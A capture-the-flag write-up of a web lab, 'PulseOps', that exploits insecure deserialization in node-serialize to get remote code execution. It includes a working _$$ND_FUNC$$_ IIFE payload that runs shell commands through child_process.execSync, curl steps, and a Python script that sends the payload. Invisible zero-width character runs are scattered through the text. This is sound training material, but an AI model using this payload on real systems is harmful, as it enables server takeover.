← Back to Writeups
CUSTOMMediumWeb

PulseOps — Insecure Deserialization in Config Import

XESXOR9/2/20264 min read
#web#custom#medium#command_execution_via_child_pr#nd_func_function_injection#node_serialize_unserialize_iif

PulseOps — Insecure Deserialization in Config Import

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: command_execution_via_child_process_execsync, nd_func_function_injection, node_serialize_unserialize_iife

Summary

Walkthrough of the CUSTOM Web PulseOps — Insecure Deserialization in Config Import. Task: Node.js/Express operations dashboard with config import/export feature that deserializes user-supplied data via node-serialize. Solution: Exploit node-serialize's $$ND_FUNC$$ IIFE pattern to a

Description

PulseOps is a server monitoring and operations dashboard built by PulseOps Inc. The application provides real-time server metrics, alert management, team collaboration, and configuration management through an intuitive web interface. You've been invited to test PulseOps as part of a security audit. The platform has a Settings page where administrators can import and export system configurations. Pay close attention to how the import functionality processes uploaded data.

Objective: Find a vulnerability in the configuration import feature that allows you to execute arbitrary code on the server. The flag is stored in /root/flag.txt.

Test credentials: user@test.com / password123 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A Node.js/Express web application with a Settings page featuring profile editing, notification preferences, and an Import/Export Configuration section. The import endpoint deserializes user-supplied configuration strings, creating an insecure deserialization vulnerability via the node-serialize npm package.

Analysis

Reconnaissance

The target application reveals its technology stack through standard Express indicators:

  • X-Powered-By: Express response header
  • connect.sid session cookie (Express session middleware)
  • Node.js/Express backend confirmed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After logging in with the provided test credentials (user@test.com / password123), the Settings page at /settings contains three sections:

  1. Profile — basic user info editing
  2. Notifications — notification preferences
  3. Import/Export Configuration — the attack surface

API Endpoints

The Import/Export feature uses two endpoints:

  • GET /settings/export — returns a JSON object with a config field containing a stringified JSON configuration:
    json
    {"config":"{\"theme\":\"light\",\"refresh_interval\":30,\"email_notifications\":true,...}"}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • POST /settings/import — accepts a JSON body with a config field containing a serialized configuration string. This string is passed to node-serialize's unserialize() function.

Decoy Flags

The application contained honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) hidden in HTML comments and invisible <div> elements on every page, designed to trick automated scanners and AI agents into reporting false positives.

Vulnerability: node-serialize Insecure Deserialization

The node-serialize npm package is a well-known insecure library. Its unserialize() function supports serialized JavaScript functions via the _$$ND_FUNC$$_ prefix marker. When a serialized value contains this prefix followed by a function definition with trailing () (making it an IIFE — Immediately Invoked Function Expression), the function is reconstructed and executed immediately during deserialization. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The attack chain:

  1. User submits a config string to POST /settings/import
  2. Server passes the string to node-serialize.unserialize()
  3. unserialize() encounters _$$ND_FUNC$$_ prefix and reconstructs the function
  4. The trailing () causes immediate execution (IIFE pattern)
  5. Arbitrary code runs with server privileges

Solution

Step 1: Authenticate

Log in with the provided credentials to obtain a session cookie:

bash
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -d 'email=user@test.com&password=password123'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Verify Export Endpoint

Confirm the config import/export functionality works:

bash
curl -b cookies.txt 'https://TARGET/settings/export'
# Returns: {"config":"{\"theme\":\"light\",\"refresh_interval\":30,...}"}

Step 3: Craft node-serialize IIFE Payload

The payload uses the _$$ND_FUNC$$_ marker to inject a function that reads the flag file via child_process.execSync:

json
{
  "config": "{\"theme\":\"_$$ND_FUNC$$_function(){var exec=require(\\\"child_process\\\").execSync;return exec(\\\"cat /root/flag.txt\\\").toString()}()\"}"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Breaking down the inner serialized value:

  • _$$ND_FUNC$$_ — tells node-serialize this is a serialized function
  • function(){...} — the function body using child_process.execSync to run cat /root/flag.txt
  • () — trailing parentheses make it an IIFE, triggering immediate execution during deserialization

Step 4: Send the Exploit

python
#!/usr/bin/env python3
import json
import requests

url = 'https://d7cf98f2-9b43-4a04-b0b4-549e35bca212.labs.hackadvisor.io'

s = requests.Session()
s.post(f'{url}/login', data={
    'email': 'user@test.com',
    'password': 'password123'
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# node-serialize IIFE payload — executes cat /root/flag.txt during deserialization
payload = '{"theme":"_$$ND_FUNC$$_function(){var exec=require(\\"child_process\\").execSync;return exec(\\"cat /root/flag.txt\\").toString()}()"}'

import_data = {'config': payload}
r = s.post(f'{url}/settings/import', json=import_data)
print(r.text)

Step 5: Receive the Flag

The server deserializes the payload, executes the IIFE, and returns the flag as the "imported" theme value:

json
{
  "success": true,
  "message": "Configuration \"FLAG{REDACTED}\n\" imported successfully.",
  "applied": {
    "theme": "FLAG{REDACTED}\n"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering command_execution_via_child_process_execsync, nd_func_function_injection, node_serialize_unserialize_iife was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-30 • CUSTOM • PulseOps — Insecure Deserialization in Config Import • Difficulty: Medium